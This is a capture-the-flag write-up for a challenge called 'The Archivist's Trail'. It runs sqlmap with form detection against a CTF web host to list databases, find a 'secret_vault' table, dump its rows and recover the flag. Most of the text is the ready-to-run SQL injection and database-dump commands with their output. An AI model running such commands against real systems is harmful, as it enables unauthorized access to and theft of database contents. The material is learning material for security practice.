The Archivist's Trail

We are redirected to a webpage which holds the inventory for ancient artifact
upon further inspection we find nothing else so we sql injection in the search box and it is not
vulnerable since this page has sql we try sqlmap on this page

```
┌──(docx㉿kali)-[~]
└─$ sqlmap -u "http://ctf.sg.cubeshosting.com:8080/" --dbs --batch
            ___
        ___H
      __[.]__ ___ ___     {1.9.9#stable}
     |_ -| . [.]     | .'| . |
     |___|_  [.]_|_|_|__,|  _|
           |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:07:25 /2025-10-15/

[01:07:26] [INFO] resuming back-end DBMS 'mysql'
[01:07:26] [INFO] testing connection to the target URL
[01:07:26] [INFO] testing if the target URL content is stable
[01:07:26] [INFO] target URL content is stable
[01:07:26] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). You are advised to rerun with '--forms --crawl=2'

[*] ending @ 01:07:26 /2025-10-15/
```

in which we are advised to use –forms along with it since there is no parameter like id for testing

```
┌──(docx㉿kali)-[~]
└─$ sqlmap -u "http://ctf.sg.cubeshosting.com:8080/" --dbs --batch --forms
            ___
        ___H
      __[)]__ ___ ___     {1.9.9#stable}
     |_ -| . [,]     | .'| . |
     |___|_  ["]_|_|_|__,|  _|
           |_|V...       |_|   https://sqlmap.org
```

lists multiple databases in the webpage

```
[01:08:31] [INFO] fetching d
available databases [6]:
[*] information_schema
[*] inventory_management
[*] mysql
[*] performance_schema
[*] secret_vault
[*] sys
```

here there is a suspicious database named secret_vault

so we try to find the tables inside it

```
┌──(docx㉿kali)-[~]
└─$ sqlmap -u "http://ctf.sg.cubeshosting.com:8080/" -D secret_vault --tables --batch --forms

            ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.9#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

and we get that there is 1 table in this database named secret

```
Database: secret_vault
[1 table]
+─────────+
| secrets |
+─────────+
```

so we read the table named secrets

```
┌──(docx㉿kali)-[~]
└─$ sqlmap -u "http://ctf.sg.cubeshosting.com:8080/" -D secret_vault -T secrets --dump --batch --forms

            ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.9#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

which gives the contents of the table which is a set of dummy flags and at the last entry we find our flag

```
| 94  | SECRET{almost_done_041_IJKL}      |
| 95  | Decoy_Value_041_DEFGHIJKLMNOP      |
| 96  | The next row is the one! (Maybe)  |
| 97  | Decoy_Value_042_QRSTUVWXYZ        |
| 98  | I lied about the next row.        |
| 99  | SECRET{final_try_043_MNOP}        |
| 100 | Decoy_Value_043_1A2B3C4D5E        |
| 101 | The answer is hidden in plain sight. |
| 102 | Decoy_Value_044_F6G7H8I9J0        |
| 103 | One last decoy for the road.      |
| 104 | Decoy_Value_045_K1L2M3N4O5        |
| 105 | Did you check the very end?       |
| 106 | SGCTF{sqlm4p_1nj3cti0n}           |
+─────+───────────────────────────────────+
```

so we got the flag

SGCTF{sqlm4p_1nj3cti0n}